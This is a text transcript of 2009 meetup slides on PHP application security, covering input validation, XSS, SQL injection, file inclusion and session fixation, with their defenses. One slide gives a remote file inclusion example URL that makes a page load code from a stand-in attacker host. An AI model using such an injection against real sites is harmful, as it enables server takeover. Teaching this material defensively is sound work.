The document discusses security best practices for PHP applications, emphasizing the importance of protecting sensitive information from malicious users. It covers various security issues such as input validation, cross-site scripting (XSS), SQL injection, file inclusion, and session fixation, along with methods for prevention. Additionally, the author provides references for further reading on PHP security risks and attacks.

1. Security in PHP Applications By: Aditya Mooley Nagpur PHP Meetup August'09

2. Who Am I? Aditya Mooley ( [email_address] )

3. Zend Certified PHP 5 Engineer

4. Working with SANIsoft Technologies since last 6 years

5. Opensource contributor

6. Writing secure web applications

7. We will discuss ... Why Secure

8. What to Secure

9. How to Secure

10. Why secure? PHP is widely used programming language for web

11. Used by individuals as well as corporates

12. Handles lot of critical and sensitive information

13. Malicious users can misuse this information if they get access to it

14. Secure what? Secure code

15. Secure database

16. Secure web server

17. How to secure Follow some basic guidelines

18. register_globals is biggest evil. It must be off.

19. Don't use $_REQUEST. Use individual super globals instead.

20. Follow Thumb Rule - Filter input

21. Escape output

22. Security Issues Input validation

23. Cross site scripting

24. SQL Injection

25. File inclusion

26. Session fixation

27. and lot more ...

28. Input Validation Don't trust your users

29. Check every data coming from user

30. Use built-in PHP functions like - is_int, is_string, is_bool, etc.

31. ctype_* category of functions Whitelist over blacklist Check data for what is allowed instead of what is not allowed

32. Cross site scripting (XSS) XSS is a situation where an attacker can inject a nicely crafted HTML string which when executed on client browser can cause unexpected results.

33. This may lead to - Session take over.

34. Setting malicious cookies

35. Access to restricted area

36. XSS ... Let's see an example

37. XSS can be prevented by escaping the data with – htmlentities() or htmlspecialchars()

38. Filtering out the HTML tags with strip_tags()

39. SQL Injection Code injection technique to exploit the vulnerability in SQL statements in code.

40. Can lead to - Removal of data

41. Access to critical information like passwords Can cause due to - Incorrect filtering of escape characters

42. Incorrect type handling

43. SQL Injection ... Example1 , Example2

44. SQL injection can be prevented by - mysql_real_escape_string() and similar functions

45. Typecasting data properly before passing to SQL

46. Using Prepared Statements (MySQLi/PDO)

47. File Inclusion A technique by which an attacker can include a file from remote location or from same server which is not intended for general users

48. Attacker can get shell access to the server which can be used to any extent.

49. Such attacks can be prevented by properly filtering the input data before using it in include statement.

50. File Inclusion ... Remote File Inclusion http://mysite.com/index.php?page=http://hacker.com/hacker.php Local File Inclusion Attacker can send a relative path which can include a secret file on webserver even out of webroot.

51. Example .

52. Session Fixation Through this technique, attacker can get access to the valid session of a user.

53. After this, there is no way for the website to differentiate between the two.

54. Attacker can perform all the actions that are allowed to the original user.

55. Example .

56. Session Fixation ... Session hijacking can be prevented by generating a new session id everytime a user logs in.

57. This can be done with session_regenerate_id()

58. For extra security disable the ini setting session.use_trans_sid

59. Much more Web applications can be exploited by numerous other ways.

60. Refer - http://www.phpwact.org/security/risk/catalog

61. http://www.phpwact.org/security/attack/catalog

62. References http://www.php.net

63. http://en.wikipedia.org

64. http://www.phpwact.org

65. Examples used in this presention can be downloaded from http://www.sanisoft.com/blog/wp-content/uploads/2009/08/security.tar.gz

66. Thanks